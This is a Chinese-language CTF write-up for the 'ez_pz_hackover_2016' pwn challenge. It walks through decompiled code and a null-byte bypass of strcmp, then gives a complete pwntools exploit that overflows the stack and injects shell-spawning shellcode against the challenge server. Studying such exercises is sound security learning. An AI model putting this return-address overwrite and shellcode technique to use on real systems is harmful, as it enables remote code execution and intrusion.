chall
- int chall()
- {
- size_t v0; // eax
- int result; // eax
- char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
- _BYTE *v3; // [esp+40Ch] [ebp-Ch]
-
- printf("Yippie, lets crash: %p\n", s);
- printf("Whats your name?\n");
- printf("> ");
- fgets(s, 1023, stdin);
- v0 = strlen(s);
- v3 = memchr(s, 10, v0);
- if ( v3 )
- *v3 = 0;
- printf("\nWelcome %s!\n", s);
- result = strcmp(s, "crashme");
- if ( !result )
- return vuln((char)s, 0x400u);
- return result;
- }
C 库函数 - strcmp()
C 库函数 int strcmp(const char *str1, const char *str2) 把 str1 所指向的字符串和 str2 所指向的字符串进行比较。
- int strcmp(const char *str1, const char *str2)
- 当s1
- 当s1==s2时,返回值= 0
- 当s1>s2时,返回正数 注意不是1
strcmp只能比较字符串,比较数组和字符串常量,不能比较数字等其他形式的参数。
两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止
strcmp的返回值可控,传入空字符串即可
strlen同样遇0截断
将第一个参数长度n的内容复制到dest缓冲区
s中拷贝0x400个字节到dest中
很明显的栈溢出
绕过前面两个函数,成功的进入到vuln函数将完整的构造好的payload复制到dest缓冲区实现溢出并控制
程序打印出来s的地址,因此只要知道s缓冲区和shellcode地址的相对偏移量,就可确定shellcode地址
动调确定其位置
ennnnnn
用gdb动调b下断点不太行了
其它师傅们脚本都可以动调,我试验都退出了,动调不了确定不下位置,之后学习再补充
EXP
- #coding=utf-8
- #!/usr/bin/env python
- from pwn import * #导入pwntools中的pwn包的所有内容
- context.terminal = ['terminator','-x','sh','-c']
- context.log_level='debug'
- p=remote("node4.buuoj.cn",26580)
- # p=process('./ez_pz_hackover_2016')
- # gdb.attach(p)
- # gdb.attach(p,'b *0x8048600')
- p.recvuntil('crash: ')
- stack_addr=int(p.recv(10),16)#接收s栈地址
-
- log.success('stack_addr==>'+hex(stack_addr))
-
- payload = 'crashme\x00' + 'a'*(0x16-8+4) # 前面的crashme\x00绕过if判断
- payload += p32(stack_addr-0x1c) # 返回地址位置,随意填充数据
- payload += asm(shellcraft.sh()) #利用pwntools自动生成
- p.sendline(payload)
- # pause()
- p.interactive()
-